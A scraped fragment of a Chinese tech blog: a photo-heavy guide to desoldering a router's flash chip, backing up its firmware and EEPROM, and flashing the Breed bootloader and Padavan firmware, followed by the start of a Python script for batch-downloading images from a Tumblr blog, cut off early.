alt=\"\u5fae\u4fe1\u56fe\u7247_20171122172533.jpg - \u5927\u5c0f: 3.02 MB - \u5c3a\u5bf8: 4000 x 2896 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"652\"></a></div><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=592\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201711/32ec4449c3f13f2baf9328b0520b7c61.jpg\" alt=\"\u5fae\u4fe1\u56fe\u7247_20171122172525.jpg - \u5927\u5c0f: 1.8 MB - \u5c3a\u5bf8: 3488 x 2360 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"609\"></a></div><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=593\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201711/e78debcedf963b087f31916883549323.jpg\" alt=\"\u5fae\u4fe1\u56fe\u7247_20171122172407.jpg - \u5927\u5c0f: 2.59 MB - \u5c3a\u5bf8: 3264 x 2472 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"682\"></a></div><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=594\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201711/8016db9aff8b67db9adc944475aa4f9c.jpg\" alt=\"\u5fae\u4fe1\u56fe\u7247_20171122172358.jpg - \u5927\u5c0f: 2.15 MB - \u5c3a\u5bf8: 3096 x 2360 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"687\"></a></div>\u62c6\u8def\u7531\u5668\u7684\u8fc7\u7a0b\u53c2\u8003\u8fd9\u4e2a\u6587\u7ae0\u5199\u7684\u5f88\u8be6\u7ec6 http://www.right.com.cn/forum/thread-184726-1-1.html \uff0c\u62c6\u5f00\u540e\u7684\u56fe<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=597\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201711/2126b7fbce9b7732595b0478ce14393e.jpg\" alt=\"\u5fae\u4fe1\u56fe\u7247_20171122173144.jpg - \u5927\u5c0f: 2.78 MB - \u5c3a\u5bf8: 2600 x 3004 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"779\" height=\"900\"></a></div><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=596\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201711/7319da4c9d56ecfcb75ae6d316ec7392.jpg\" alt=\"\u5fae\u4fe1\u56fe\u7247_20171122172552.jpg - \u5927\u5c0f: 2.92 MB - \u5c3a\u5bf8: 2768 x 3508 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"710\" height=\"900\"></a></div>\u9700\u8981\u62c6\u4e0b\u6765\u7684Flash\u82af\u7247<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=595\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201711/fb42aa740ad1fd9d6cafe3e0bafd7b53.jpg\" alt=\"\u5fae\u4fe1\u56fe\u7247_20171122173031.jpg - \u5927\u5c0f: 2.49 MB - \u5c3a\u5bf8: 3008 x 4000 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"677\" height=\"900\"></a></div>\u4e3a\u4e86\u4ee5\u9632\u4e07\u4e00\uff0c\u6211\u63d0\u524d\u5728\u6dd8\u5b9d\u4e0a\u8d2d\u4e70\u4e86\u51e0\u4e2a\u5907\u7528Flash\u82af\u7247\uff08\u578b\u53f7\uff1a25Q128FVSG\uff09<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=598\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201711/ada7842a8a9efb1ff98d0e776daaa589.jpg\" alt=\"\u5fae\u4fe1\u56fe\u7247_20171122173458.jpg - \u5927\u5c0f: 1.36 MB - \u5c3a\u5bf8: 2493 x 1662 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"600\"></a></div><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=599\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201711/54035be4fe0f07e06617ed37a4ed210f.jpg\" alt=\"\u5fae\u4fe1\u56fe\u7247_20171122173248.jpg - \u5927\u5c0f: 351.89 KB - \u5c3a\u5bf8: 1414 x 1278 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"814\"></a></div>\u5bb9\u91cf\u4e3a16M\uff0c\u62c6\u710aFlash\u82af\u7247\u9700\u8981\u7528\u5230\u7535\u70d9\u94c1\uff0c\u6211\u7684\u5de5\u5177\u7167<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=600\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201711/a4a356df8c437e39f9471905c1fa4223.jpg\" alt=\"\u5fae\u4fe1\u56fe\u7247_20171122173805.jpg - \u5927\u5c0f: 2.35 MB - \u5c3a\u5bf8: 3008 x 2765 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"828\"></a></div>\u62c6\u82af\u7247\u6700\u5feb\u7684\u65b9\u6cd5\u5c31\u662f\u4f7f\u7528\u5806\u9521\u62c6\u9664\u6cd5\uff0c\u5177\u4f53\u64cd\u4f5c\u6b65\u9aa4\u53ef\u4ee5\u8c37\u6b4c\u4e00\u4e0b\uff0c\u8fd9\u91cc\u82af\u7247\u7684\u9488\u811a\u53ea\u67098\u4e2a\uff0c\u9488\u811a\u6bd4\u8f83\u5c11\u7684\u65f6\u5019\u7528\u8fd9\u79cd\u65b9\u6cd5\u6700\u65b9\u4fbf\uff0c\u9488\u811a\u6bd4\u8f83\u591a\u7684\u82af\u7247\u6700\u597d\u7528\u70ed\u98ce\u67aa\u62c6\u9664\uff0c\u4e0b\u9762\u662f\u62c6\u82af\u7247\u7684\u56fe\uff0c\u9996\u5148\u5806\u9521\u62c6\u6389\u4e00\u8fb9<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=601\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201711/3018a514b9808277598435998b36976c.jpg\" alt=\"\u5fae\u4fe1\u56fe\u7247_20171122174206.jpg - \u5927\u5c0f: 1.28 MB - \u5c3a\u5bf8: 3008 x 1385 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"415\"></a></div>\u7136\u540e\u7528\u954a\u5939\u4f4f\u62c6\u53e6\u5916\u4e00\u8fb9<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=602\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201711/b6b1f3710b5df5ef7ba3e847737296be.jpg\" alt=\"\u5fae\u4fe1\u56fe\u7247_20171122174213.jpg - \u5927\u5c0f: 3.04 MB - \u5c3a\u5bf8: 3008 x 2345 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"702\"></a></div>\u53e6\u5916\u4e00\u8fb9\u5c31\u5f88\u5bb9\u6613\u62c6\u9664\u4e86<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=603\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201711/9cf4c30779bff0690dc5075d06af747a.jpg\" alt=\"\u5fae\u4fe1\u56fe\u7247_20171122174217.jpg - \u5927\u5c0f: 2.48 MB - \u5c3a\u5bf8: 3008 x 2261 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"677\"></a></div>\u8fd9\u91cc\u9700\u8981\u8bb0\u4f4f\u82af\u7247\u7684\u710a\u63a5\u65b9\u5411\uff0c\u4e0d\u8981\u641e\u53cd\u4e86\u3002\u62ff\u5230Flash\u82af\u7247\u4e4b\u540e\u4e0a\u7f16\u7a0b\u5668\u63d0\u53d6\u56fa\u4ef6\uff0c\u6211\u8fd9\u91cc\u4f7f\u7528\u7684XTW100\u7f16\u7a0b\u5668\uff0c\u76f8\u5173\u6587\u7ae0\u7f51\u4e0a\u90fd\u53ef\u4ee5\u627e\u5230\uff0c\u6ce8\u610f\u8fd9\u4e2a\u7f16\u7a0b\u5668\u5728win10\u4e0b\u9762\u5b89\u88c5\u9a71\u52a8\u7684\u65f6\u5019\u4f1a\u5b58\u5728\u9a71\u52a8\u95ee\u9898\uff0c\u89e3\u51b3\u9a71\u52a8\u95ee\u9898\u7684\u65b9\u6cd5\u53ef\u4ee5\u53c2\u8003\u8fd9\u7bc7\u6587\u7ae0 https://jingyan.baidu.com/article/624e74594dbc8d34e8ba5aa6.html \u5b89\u88c5\u5b8c\u9a71\u52a8\u540e\u5c06\u82af\u7247\u5361\u5165\u7f16\u7a0b\u5668\u5361\u69fd<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=604\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201711/15da31b29aac9f96e7b300dc0e9beaee.jpg\" alt=\"\u5fae\u4fe1\u56fe\u7247_20171122174553.jpg - \u5927\u5c0f: 3.1 MB - \u5c3a\u5bf8: 3008 x 4000 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"677\" height=\"900\"></a></div>\u7136\u540e\u63d2\u4e0a\u7535\u8111\uff0c\u6b63\u5e38\u60c5\u51b5\u4e0b\u82af\u7247\u662f\u80fd\u591f\u81ea\u52a8\u8bc6\u522b\u7684\uff0c\u5982\u679c\u82af\u7247\u63d2\u53cd\u8f6f\u4ef6\u4f1a\u81ea\u52a8\u63d0\u793a<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=605\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201711/476121e7fa087dd465dba7ea24ad8aee.jpg\" alt=\"\u82af\u7247\u63d2\u53cd.jpg - \u5927\u5c0f: 66.93 KB - \u5c3a\u5bf8: 800 x 557 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"800\" height=\"557\"></a></div>\u8bc6\u522b\u5230\u82af\u7247\u65b0\u5148\u63d0\u53d6\u56fa\u4ef6\u5907\u4efd<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=607\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201711/f0ad4342f3a75cd4c77589080c8f31b6.jpg\" alt=\"\u8bfb\u53d6\u82af\u7247.jpg - \u5927\u5c0f: 176.95 KB - \u5c3a\u5bf8: 800 x 536 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"800\" height=\"536\"></a></div>\u8bfb\u53d6\u82af\u7247\u540e\u4fdd\u5b58\u4e3abin\u6587\u4ef6\uff0c\u8fd9\u91cc\u9700\u8981\u6ce8\u610f\uff0c\u5fc5\u987b\u8981\u63d0\u53d6 eeprom \uff0c\u56e0\u4e3a eeprom \u91cc\u9762\u5305\u542b\u4e86\u786c\u4ef6\u7684\u4fe1\u606f\uff0c\u7f51\u5361\u7684mac\u5730\u5740\u90a3\u4e9b\uff0c\u5982\u679c\u6ca1\u6709\u5237\u5165\u8fd9\u4e2a\u5230\u82af\u7247\uff0c\u8bbe\u5907\u53ef\u80fd\u65e0\u6cd5\u542f\u52a8\uff0c\u535a\u4e3b\u7b2c\u4e00\u6b21\u5237\u8def\u7531\u5668\u7684\u65f6\u5019\u5c31\u662f\u56e0\u4e3a\u5fd8\u8bb0\u5237\u5165 eeprom \u5bfc\u81f4\u65e0\u6cd5\u5f00\u673a\uff0c\u82af\u7247\u76f4\u63a5\u5c31\u6302\u4e86\uff0c\u8f9b\u4e8f\u6709\u5907\u7528\u82af\u7247\u3002\r\n\r\n<p>\r\n\t\u63d0\u53d6eeprom \u7684\u6b65\u9aa4\u5982\u4e0b\uff1a\r\n</p>\r\n<p>\r\n\t\u9996\u5148\u4f7f\u7528winhex\u6253\u5f00\u4e0a\u4e00\u6b65\u8bfb\u53d6\u51fa\u6765\u7684bin\u6587\u4ef6</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=608\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201711/0976c3455ccab9abb863154ed10b1f41.jpg\" alt=\"winhex.jpg - \u5927\u5c0f: 161.28 KB - \u5c3a\u5bf8: 800 x 615 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"800\" height=\"615\"></a></div>\u70b9\u51fbedit\u9009\u62e9define block<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=611\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201711/4b5ac8e606f4c4e178fa31a17f567abd.png\" alt=\"\u63d0\u53d6e1.png - \u5927\u5c0f: 37.04 KB - \u5c3a\u5bf8: 475 x 417 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"475\" height=\"417\"></a></div>\u5728\u5f39\u51fa\u7684\u6846\u91cc\u9762\u8f93\u5165\u5f00\u59cb40000\uff0c\u7ed3\u675f4ffff\u7136\u540e\u56de\u8f66<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=610\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201711/a189d825f3cb57b7f4fb4000dcb3c684.png\" alt=\"\u63d0\u53d6e2.png - \u5927\u5c0f: 14.32 KB - \u5c3a\u5bf8: 424 x 260 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"424\" height=\"260\"></a></div>\u4e4b\u540e\u9009\u62e9edit -> copy block -> into new file \u4fdd\u5b58\u4e3a\u65b0\u7684\u6587\u4ef6<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=609\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201711/8a0bd17c13309280adfbe61c15d87bb7.png\" alt=\"\u63d0\u53d6e3.png - \u5927\u5c0f: 47.06 KB - \u5c3a\u5bf8: 627 x 370 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"627\" height=\"370\"></a></div>\u81f3\u6b64eeprom\u63d0\u53d6\u5b8c\u6210\uff0c\u4e3a\u4e86\u4fdd\u9669\u8d77\u89c1\uff0c\u535a\u4e3b\u4f7f\u7528\u65b0\u7684Flash\u5237\u5165Breed\u4e0d\u6b7b\u5f15\u5bfc\uff0c\u65b0\u7684Flash\u4e00\u822c\u53ef\u9760\u6027\u6bd4\u8f83\u5f3a\uff0c\u56e0\u4e3a\u662f\u5168\u7a7a\u767d\u7684\uff0c\u6240\u4ee5\u6210\u529f\u7387\u6bd4\u8f83\u9ad8\uff0c\u6362\u4e0a\u65b0\u7684Flash\u4e4b\u540e\u7f16\u7a0b\u5668\u6253\u5f00Breed\u5f15\u5bfc\u6587\u4ef6\uff0c\u8fd9\u91cc\u4f7f\u7528\u7684\u662f\u6781\u8def\u7531\u7684Breed\uff0c\u6587\u4ef6\u540d breed-mt7628-hiwifi-hc5661a.bin \u535a\u4e3b\u76f4\u63a5\u653e\u5728\u4e86\u9644\u4ef6<a href=\"https://www.92ez.com/attachment.php?id=618\" title=\"breed-mt7628-hiwifi-hc5661a.bin - \u5927\u5c0f:85.49 KB - \u4e0b\u8f7d\u6b21\u6570:47\" target=\"_blank\">breed-mt7628-hiwifi-hc5661a.bin</a>\uff0c\u53ef\u4ee5\u76f4\u63a5\u4e0b\u8f7d\uff0c\u4f7f\u7528\u7f16\u7a0b\u5668\u8f6f\u4ef6\u5199\u5165Breed\u5230\u56fa\u4ef6<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=617\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201711/e7de4dbf9cf20d9781335671de896033.png\" alt=\"\u5199\u5165breed.png - \u5927\u5c0f: 60.83 KB - \u5c3a\u5bf8: 954 x 640 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"604\"></a></div>\u5199\u5165\u5b8c\u6210\u4e4b\u540e\u91cd\u65b0\u710a\u63a5\u56de\u539f\u6765\u7684\u4f4d\u7f6e\uff0c\u6ce8\u610f\u65b9\u5411<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=613\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201711/266df104250f09a1ac1f9f20bfbbdd59.jpg\" alt=\"\u5fae\u4fe1\u56fe\u7247_20171122174608.jpg - \u5927\u5c0f: 3.51 MB - \u5c3a\u5bf8: 3008 x 4000 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"677\" height=\"900\"></a></div>\u63d2\u4e0a\u7535\u6e90\uff0c\u5f00\u673a<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=612\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201711/164cdcbd533bd08b443001334948c082.jpg\" alt=\"\u5fae\u4fe1\u56fe\u7247_20171122174613.jpg - \u5927\u5c0f: 3.08 MB - \u5c3a\u5bf8: 3008 x 4000 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"677\" height=\"900\"></a></div>\u770b\u5230\u84dd\u8272\u706f\u6709\u89c4\u5f8b\u7684\u95ea\u70c1\u5219\u8bf4\u660e\u6210\u529f\u3002\r\n\r\n<p>\r\n\t\u5269\u4e0b\u7684\u5c31\u662f\u5237\u8001\u6bdb\u5b50\u56fa\u4ef6\u548ceeprom\u4e86\uff0c\u6ce8\u610f\uff0c\u8fd9\u91cc\u5fc5\u987b\u540c\u65f6\u5237\u5165\uff0c\u5728Breed\u7ba1\u7406\u9762\u677f\u540c\u65f6\u52fe\u9009\u4e0a\u4f20\u4e24\u4e2abin\u6587\u4ef6\uff0c\u7136\u540e\u6267\u884c\u66f4\u65b0\u64cd\u4f5c\u5c31\u53ef\u4ee5\u4e86\uff0c\u8001\u6bdb\u5b50\u56fa\u4ef6\u4e0b\u8f7d\u5730\u5740 https://eyun.baidu.com/s/3kV0JV19#sharelink/path=%2F2017-11-12&parent_path=%2FPadavan \u6ce8\u610f\u6587\u4ef6\u540d\u4e3a <a class=\"filename\" title=\"RT-AC1200-GPIO-38-7628-128M_3.4.3.9-099.trx\">RT-AC1200-GPIO-38-7628-128M_3.4.3.9-099.trx</a> \u5207\u8bb0\u4e0d\u8981\u5237\u9519\u4e86\u3002\u5237\u5b8c\u6d4b\u8bd5ss\u59a5\u59a5\u7684\uff0c\u5b8c\u7f8e\u517c\u5bb9\uff0c\u6027\u80fd\u7a33\u5b9a</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=614\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201711/cbb5468e7aa2da6c3a21c651e64e01ab.png\" alt=\"\u5fae\u4fe1\u56fe\u7247_20171122183704.png - \u5927\u5c0f: 828.16 KB - \u5c3a\u5bf8: 1263 x 912 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"650\"></a></div><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=615\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201711/c9f981985f34a4bb0eeb0de6d9668c22.png\" alt=\"\u5fae\u4fe1\u56fe\u7247_20171122183659.png - \u5927\u5c0f: 90.79 KB - \u5c3a\u5bf8: 1263 x 988 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"705\"></a></div>\r\n\r\n<p>\r\n\t\u6d4b\u8bd5\u597d\u91cd\u65b0\u88c5\u76d2\u6253\u5305\u9001\u4eba</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=616\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201711/e7e857ec43533ddee6c1682f9dca0b58.jpg\" alt=\"asdas.jpg - \u5927\u5c0f: 526.17 KB - \u5c3a\u5bf8: 1080 x 1152 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"844\" height=\"900\"></a></div>\r\n\r\n<h2>\r\n\t\u540e\u8bb0\r\n</h2>\r\n<p>\r\n\t\u62c6\u673a\u6709\u98ce\u9669\uff0c\u5237\u673a\u9700\u8c28\u614e\r\n</p><div class=\"useWarning\" style=\"background-color: #f0f0f0\">\n\u672c\u6587\u94fe\u63a5\uff1ahttps://www.92ez.com/?action=show&id=23461 <br>\n <b>!!! \u8f6c\u8f7d\u8bf7\u5148\u8054\u7cfbnon3gov@gmail.com\u6388\u6743\u5e76\u5728\u663e\u8457\u4f4d\u7f6e\u6ce8\u660e\u4f5c\u8005\u548c\u539f\u6587\u94fe\u63a5 !!! <a href=\"https://www.92ez.com/black.html\" target=\"_blank\" style=\"color: #000;text-decoration: underline;background: none\">\u5c0f\u9ed1\u5c4b</a> </b><br>\n\u63d0\u793a\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u8bf7\u5148\u786e\u8ba4\u662f\u5426\u9002\u7528\u4f60\u5f53\u524d\u7684\u7cfb\u7edf\u73af\u5883\u3002\n</div>\n\n<style type=\"text/css\">\n.useWarning a{color:#fff;background-color:#ea6f5a;border-radius:3px;padding:5px 10px;text-decoration: none;}\n.tuijian{margin-top:10px;}\n.tuijian a{display:block;}\n.tuijian img{padding:0;margin:0;}\n.tuijian a img{display:block;width:100%;}\n.donateme{font-size: 14px;display:none;}\n.donateme a{color: green;font-weight: bold;}\n.useWarning{padding: 5px 10px;border: #c00 1px dashed;margin: 10px 0 0;color: #c00;}\n</style>\n</div>"]},
{"title": ["\u4f7f\u7528Python3\u81ea\u52a8\u6279\u91cf\u4e0b\u8f7d\u6307\u5b9aTumblr\u535a\u5ba2\u7684\u89c6\u9891\u548c\u56fe\u7247"], "date": ["KBdancer", " \u53d1\u8868\u4e8e 2017-11-22, 4:04 PM. \n\u53d1\u8868\u5728\uff1a\n\t\t\t\t\t\t\t\t\n ", "Python", "\n\t\t\t\t\t\t\t\t\n, ", "\u8d44\u6e90\u5171\u4eab", "\n\t\t\t\t\t\t\t\t\n, ", "\u539f\u521b", "\n"], "content": ["<div class=\"post-body\">\n<h2>\r\n\t\u80cc\u666f\r\n</h2>\r\n<p>\r\n\t\u4e0a\u5468\u6211\u7684\u57fa\u53cb@\u5927\u718a\u53d1\u7ed9\u6211\u4e00\u4e2a\u5730\u5740\uff0c\u544a\u77e5\u6211\u60f3\u4e0b\u8f7d\u4e00\u4e9b\u56fe\u7247\u7d20\u6750\uff0c\u7136\u800c\u8bbe\u8ba1\u5e08\u5927\u795e\u516c\u53f8\u7684\u7f51\u7edc\u5e76\u4e0d\u80fd\u76f4\u63a5\u8bbf\u95ee\u8be5\u7f51\u7ad9\uff0c\u4e8e\u662f\u535a\u4e3b\u51c6\u5907\u597d\u68af\u5b50\u4e00\u7785\u7a76\u7adf\uff0c\u53d1\u73b0\u8fd9\u4e2a\u7f51\u7ad9\u771f\u4e0d\u9519\uff0c\u56fe\u7247\u90fd\u5f88\u7cbe\u81f4\uff0c\u5948\u4f55\u56fd\u5185\u7f51\u7edc\u73af\u5883\u9650\u5236\uff0c\u6ca1\u6709\u68af\u5b50\u7684\u60c5\u51b5\u4e0b\u6ca1\u529e\u6cd5\u8bbf\u95ee\uff0c\u4e3a\u4e86\u589e\u8fdb\u4e0e\u8bbe\u8ba1\u5e08\u5927\u795e\u7684\u53cb\u597d\u5173\u7cfb\uff0c\u5171\u7b51\u57fa\u53cb\u4e4b\u60c5\uff0c\u624b\u8d77\u5200\u843d\u811a\u672c\u64b8\u4e00\u53d1\uff0c\u6279\u91cf\u4e0b\u8f7d\u6307\u5b9a\u535a\u5ba2\u7684\u6240\u6709\u56fe\u7247\u8d44\u6e90\uff0c\u81f3\u4e8e\u89c6\u9891\u8d44\u6e90\u561b\uff5e\uff5e\u54b3\u54b3\uff5e\uff5e\u76f8\u4fe1\u5f88\u591a\u8001\u53f8\u673a\u90fd\u77e5\u9053\uff0c\u6211\u5c31\u4e0d\u7ec6\u8bf4\u4e86\uff0c\u811a\u672c\u4f9d\u7136\u652f\u6301\u6279\u91cf\u81ea\u52a8\u4e0b\u8f7d\uff0c\u53ea\u9700\u8981\u6307\u5b9a\u8f66\u724c\u53f7\uff0c\u5206\u5206\u949f\u5e26\u4f60\u4e0a\u8f66\uff5e\uff5e\r\n</p>\r\n<h2>\r\n\t\u8bf4\u660e\r\n</h2>\r\n<p>\r\n\t\u5f00\u59cb\u4e4b\u524d\u9996\u5148\u5f97\u642d\u5efa\u597d\u68af\u5b50\uff0c\u68af\u5b50\u8981\u7a33\uff0c\u6bd5\u7adf\u4e0b\u8f7d\u89c6\u9891\u6d41\u91cf\u8fd8\u662f\u6709\u70b9\u5927\u7684\uff0c\u4e00\u4e2a\u89c6\u9891\u5927\u5c0f\u5206\u522b\u57281M\u523050M\u4e4b\u95f4\u4e0d\u7b49\uff0c\u6240\u4ee5\u5c0f\u6c34\u7ba1\u7684\u53f8\u673a\u4eec\u7a0d\u5fae\u63a7\u5236\u4e0b\u6d41\u91cf\u3002\r\n</p>\r\n<p>\r\n\t\u8bf4\u8bf4<a href=\"https://www.92ez.com/?action=article&tag=tumblr\" onclick=\"javascript:tagshow('tumblr');return false;\">tumblr</a>\u8fd9\u4e2a\u7ad9\u5427\uff0c\u8fd9\u4e2a\u7f51\u7ad9\u4e0a\u6709\u5f88\u591a\u4f18\u79c0\u7684\u8d44\u6e90\uff0c\u6682\u4e14\u4e0d\u8bf4\u8001\u53f8\u673a\u4eec\u6240\u719f\u77e5\u7684\u5f71\u89c6\u8d44\u6e90\uff0c\u4e00\u4e9b\u6bd4\u8f83\u6b63\u7ecf\u7684\u5b66\u672f\u8d44\u6e90\u90a3\u662f\u76f8\u5f53\u4e0d\u9519\u7684\uff0c\u6bd4\u5982\u57fa\u53cb@\u5927\u718a\u6240\u9700\u8981\u4e0b\u8f7d\u7d20\u6750\u7684\u8fd9\u4e2a\u535a\u5ba2\u5c31\u5f88\u4e0d\u9519\uff0c\u5730\u5740 https://itunesartworks.tumblr.com \uff0c\u5c5e\u4e8e\u00a0itunes \u5b98\u65b9\u56e2\u961f\u7ef4\u62a4\u7684\u4e00\u4e2a\u7d20\u6750\u5e93\u535a\u5ba2\uff0c\u4e0a\u9762\u6240\u63d0\u4f9b\u7684\u7d20\u6750\u90fd\u662f\u975e\u5e38\u7cbe\u81f4\u7684\u56fe\u7247\uff0c\u80fd\u591f\u91c7\u96c6\u81ea\u7136\u662f\u5f88\u68d2\u7684\u3002\r\n</p>\r\n<h2>\r\n\t\u811a\u672c\r\n</h2>\r\n<p>\r\n\t\u901a\u8fc7\u67e5\u770b\u9875\u9762\u7684\u6e90\u4ee3\u7801\u53d1\u73b0\u6240\u9700\u8981\u4e0b\u8f7d\u7684\u56fe\u7247\u8d44\u6e90\u7684\u6807\u7b7e\u90fd\u662f\u89c4\u5f8b\u6027\u7684\uff0c\u53ea\u9700\u8981\u7b80\u5355\u7684\u8fdb\u884c\u6b63\u5219\u5339\u914d\u5c31\u80fd\u591f\u8f7b\u677e\u83b7\u53d6\u56fe\u7247URL\uff0c\u7136\u540e\u5199\u5165\u5230\u672c\u5730\u78c1\u76d8\u3002\r\n</p>\r\n<p>\r\n\t\u89c6\u9891\u65b9\u9762\u7a0d\u5fae\u9ebb\u70e6\u4e00\u4e9b\uff0c\u89c6\u9891\u64ad\u653e\u662f\u4e00\u4e2a\u5355\u72ec\u7684\u9875\u9762\uff0c\u535a\u5ba2\u9996\u9875\u53ea\u662f\u5c55\u793a\u7684\u4e00\u4e2a\u5217\u8868\uff0c\u83b7\u53d6\u5230\u7684url\u5730\u5740\u662f\u6307\u5411\u89c6\u9891\u64ad\u653e\u9875\u9762\u7684\uff0c\u6240\u4ee5\u9700\u8981\u5148\u83b7\u53d6\u5230\u89c6\u9891\u5217\u8868\u94fe\u63a5\uff0c\u4fbf\u5229\u8bbf\u95ee\u5f97\u5230\u6240\u6709\u89c6\u9891\u64ad\u653e\u9875\u9762\u7684\u4ee3\u7801\uff0c\u63d0\u53d6\u89c6\u9891\u7684\u771f\u5b9e\u64ad\u653e\u5730\u5740\u5373\u53ef\u3002\r\n</p>\r\n<p>\r\n\t\u539f\u7406\u5c31\u662f\u8fd9\u4e48\u7b80\u5355\uff0c\u76f4\u63a5\u4e0a\u811a\u672c\r\n</p>\r\n<pre class=\"brush:py;\">#!/usr/bin/env python\r\n# coding=utf-8\r\n\r\nimport requests\r\nimport sys\r\nimport os\r\nimport re\r\n\r\n\r\ndef get_source(nickname, page_index, source_type):\r\n aim_url = \"https://%s.tumblr.com/page/%d\" % (nickname, page_index)\r\n print('[o] Get source from blog %s ...' % 